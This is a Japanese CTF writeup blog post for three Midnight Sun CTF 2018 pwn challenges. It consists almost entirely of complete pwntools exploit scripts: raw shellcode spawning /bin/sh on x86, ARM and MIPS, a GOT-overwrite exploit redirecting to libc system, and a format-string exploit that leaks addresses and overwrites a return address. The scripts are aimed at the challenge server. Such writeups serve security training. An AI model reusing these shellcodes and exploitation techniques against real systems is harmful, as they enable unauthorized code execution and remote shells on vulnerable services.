ブログ未満のなにか

ブログなのか誰にも分からない

Midnight Sun CTF 2018 writeup

Babyshells - Pwn (50 + 15)

x86, ARM, MIPSのshellcodeを送るだけ。

x86

#!/usr/bin/env python
from pwn import *

# context(os='linux', arch='i386')
context(os='linux', arch='i386')
context.log_level = 'debug' # output verbose log

RHOST = "52.30.206.11"
RPORT = 7000
LHOST = "127.0.0.1"
LPORT = 7000

# libc = ELF('')
elf = ELF('./chall')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./chall'], execute)
else:
    conn = process(['./chall'])
    # conn = process(['./chall'], env={'LD_PRELOAD': ''})

# preparing for exploitation

log.info('Pwning')
conn.sendline('1')
conn.sendline(asm(shellcraft.sh()))
conn.interactive()

ARM

shell = "\x01\x70\x8f\xe2\x17\xff\x2f\xe1\x04\xa7\x03\xcf\x52\x40\x07\xb4\x68\x46\x05\xb4\x69\x46\x0b\x27\x01\xdf\x01\x01\x2f\x62\x69\x6e\x2f\x2f\x73\x68"
conn.sendline('1')
conn.sendline(shell)
conn.interactive()

MIPS

shell = "\x28\x06\xff\xff"+"\x3c\x0f\x2f\x2f"+"\x35\xef\x62\x69"+"\xaf\xaf\xff\xf4"+"\x3c\x0e\x6e\x2f"+"\x35\xce\x73\x68"+"\xaf\xae\xff\xf8"+"\xaf\xa0\xff\xfc"+"\x27\xa4\xff\xf4"+"\x28\x05\xff\xff"+"\x24\x02\x0f\xab"+"\x01\x01\x01\x0c"
conn.sendline('1')
conn.sendline(shell)

Haxpresso - Pwn (300)

書き込みができるポインタが任意に制御できるので、GOTに書き換えた。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='i386')
#context.log_level = 'debug' # output verbose log

RHOST = "52.30.206.11"
RPORT = 1337
LHOST = "127.0.0.1"
LPORT = 1337

# libc = ELF('./libc.so')
elf = ELF('./haxpresso_f2d67837045662dd6abed40660340a33')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=./libc.so
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./haxpresso_f2d67837045662dd6abed40660340a33'], execute)
else:
    conn = process(['./haxpresso_f2d67837045662dd6abed40660340a33'])
    # conn = process(['./haxpresso_f2d67837045662dd6abed40660340a33'], env={'LD_PRELOAD': './libc.so'})

# preparing for exploitation

def add(name):
    conn.sendlineafter(' > ', '1')
    conn.sendlineafter(': ', '1')
    conn.sendlineafter(': ', 'y')
    conn.sendafter(': ', name)
    conn.recvuntil('added!')

def edit(idx, name):
    conn.sendlineafter(' > ', '4')
    conn.sendlineafter(': ', str(idx))
    conn.sendafter(': ', name)
    conn.recvuntil('edited!')


log.info('Pwning')


add('a')
add('b')
conn.sendlineafter(' > ', '3')
conn.sendlineafter(': ', '0')
conn.sendlineafter(': ', 'n')
conn.sendlineafter(' > ', '3')
conn.recvuntil('Name: ')
buf = conn.recvline()
print repr(buf)
libc_base = u32(buf[0:4]) - 0xd661
log.info('libc_base = 0x%x', libc_base)
conn.sendlineafter(': ', 'n')
conn.sendlineafter(': ', 'n')

payload = 'x'*0x24 + p32(0x0804c030)
edit(0, payload)
edit(1, p32(libc_base + 0x3a940))

conn.sendline('4')
conn.sendline('0')
conn.sendline('/bin/sh\x00')

conn.interactive()

Botpanel - Pwn (300 + 10)

はじめのログインに自明なFSBがあったので、そこだけでexploitした。流せるpayloadが0xc bytesだけだが条件が合えば問題なく動く。体感で1/10で刺さる。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='i386')
#context.log_level = 'debug' # output verbose log


RHOST = "52.30.206.11"
RPORT = 31337
LHOST = "127.0.0.1"
LPORT = 31337

libc = ELF('./libc.so')
elf = ELF('./botpanel_e0117db42051bbbe6a9c5db571c45588')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./botpanel_e0117db42051bbbe6a9c5db571c45588','0'], execute)
else:
    conn = process(['./botpanel_e0117db42051bbbe6a9c5db571c45588', '0'])
    # conn = process(['./botpanel_e0117db42051bbbe6a9c5db571c45588'], env={'LD_PRELOAD': './libc.so'})

# preparing for exploitation




offset = 12
password = '>@!ADMIN!@<'
log.info('Pwning')

# leak
payload = '..%43$p.%7$p'
conn.sendlineafter('Panel password:', payload)
conn.recvuntil('..')
libc_base = int(conn.recv(10),16) - 0x00018540 - 247
conn.recvuntil('.')
stack_addr = int(conn.recv(10), 16)
log.info('libc_base = 0x%x', libc_base)
log.info('stack_addr = 0x%x', stack_addr)
conn.recvuntil('Incorrect')

payload = '..%3$p\x00'
conn.sendlineafter('Panel password:', payload)
conn.recvuntil('..')
bin_base = int(conn.recv(10),16) - 0x10c0
log.info('bin_base = 0x%x', bin_base)

count_addr = stack_addr - 0x60
payload = p32(count_addr+1) + '%9c%12$n'
conn.sendafter('Panel password:', payload)

ret_addr = stack_addr - 0x3c


def write_word(addr, value):
    addr1 = addr
    addr2 = addr+2
    value1 = 0xffff & value
    value2 = 0xffff & (value >> 16)

    payload = '%%%dc%%%d$hn' % (0xffff&(stack_addr-0x74),27)
    print len(payload)
    assert len(payload) <= 0xc
    conn.sendafter('Panel password:', payload)

    payload = '%%%dc%%%d$hn' % (addr1 &0xffff,85)
    print len(payload)
    assert len(payload) <= 0xc
    conn.sendafter('Panel password:', payload)

    payload = '%%%dc%%%d$hn' % (0xffff&(stack_addr-0x74+4),27)
    conn.sendafter('Panel password:', payload)
    payload = '%%%dc%%%d$hn' % (0xffff&addr2,85)
    conn.sendafter('Panel password:', payload)

    payload = '%%%dc%%5$hn' % (value1)
    conn.sendafter('Panel password:', payload)
    payload = '%%%dc%%6$hn' % (value2)
    conn.sendafter('Panel password:', payload)

write_word(ret_addr, libc_base + 0x3a940)
write_word(ret_addr+8, libc_base + 0x15902b)


conn.sendline(password)
conn.interactive()